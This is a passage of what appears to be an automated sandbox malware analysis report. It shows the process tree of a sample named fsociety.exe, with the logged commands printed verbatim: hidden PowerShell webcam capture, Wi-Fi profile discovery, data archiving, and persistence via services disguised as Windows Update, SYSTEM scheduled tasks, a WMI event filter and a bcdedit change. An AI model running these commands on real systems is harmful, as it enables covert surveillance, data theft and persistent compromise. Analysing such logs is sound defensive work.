  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240712015.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240712015.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:5864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240712015.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240712015.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5772
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1488
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240711828\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  - Executes a command shell one-liner
  PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240711828\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:6496
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7124

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Executes dropped EXE
PID:1288
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1276
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3336
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:4456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:1540
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:216
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3880
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:1536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:4300
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2960
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2756
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      Launches sc.exe
      PID:4580
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4736
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:2616
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:2948
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4252
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:4772
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:2732
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      Launches sc.exe
      PID:2916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4580
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:4920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:3976
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:1488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1224
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:3472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:2944
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      Launches sc.exe
      PID:1936
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1684
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:5084
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:376
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:4356
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4268
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5704
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:3544
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:5636
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:5796
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:2820
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5008
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:5976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5336
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:5840
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:3768
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:1352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:2412
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:5412
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:4984
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5924
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5112
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2212
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5220
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:2760
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6160
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6680
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:6884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:6092
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:6764
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:5744
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1100
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:2876
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:4036
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        Launches sc.exe
        
        PID:5452
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      Executes a command shell one-liner
      PID:6440
    - - C:\Windows\system32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:6156
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      Executes a command shell one-liner
      PID:6172
    - - C:\Windows\system32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:5428
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:5140
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:5236
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:5632
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate type= own
        5⤵
        
        PID:6232
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:7304
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate obj= LocalSystem
        5⤵
        
        PID:6404
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
      4⤵
      Executes a command shell one-liner
      PID:7972
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate error= ignore
        5⤵
        
        PID:2476
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
      4⤵
      PID:7088
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
        5⤵
        
        PID:5148
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
      4⤵
      PID:8164
    - - C:\Windows\system32\sc.exe
        
        sc description WindowsUpdate "Provides Windows system updates"
        5⤵
        
        PID:6104
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc start WindowsUpdate >nul 2>&1
      4⤵
      PID:5624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240738468.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240738468.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:6888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240738468.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240738468.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4792
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1308
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240738000\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:5416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240738000\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7176

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:2600
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:1060
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:1744
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:4432
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:1284
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:2488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3828
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:1972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:3332
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:4456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1592
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3540
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4432
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:2688
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:3268
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:3236
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:3824
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1648
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:2548
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:5072
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:4544
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:4264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:3260
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:4048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5360
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:5632
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6044
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:2060
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5580
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:5732
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6088
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:3660
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:3128
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:5828
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:6080
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:5188
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:5248
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5856
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:3636
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6108
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:1180
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:5884
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:1488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:4712
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:5836
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:3520
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5284
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6348
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6828
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6200
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6236
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5584
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:5788
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:7132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:6556
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:6960
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:3636
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6904
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:5592
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:7040
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:2868
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:6356
    - - C:\Windows\system32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:1144
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:7956
    - - C:\Windows\system32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:7564
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:6752
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:5784
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:6504
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate type= own
        5⤵
        
        PID:7916
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:6796
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate obj= LocalSystem
        5⤵
        
        PID:7464
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
      4⤵
      PID:5508
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240752000.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240752000.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:4560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
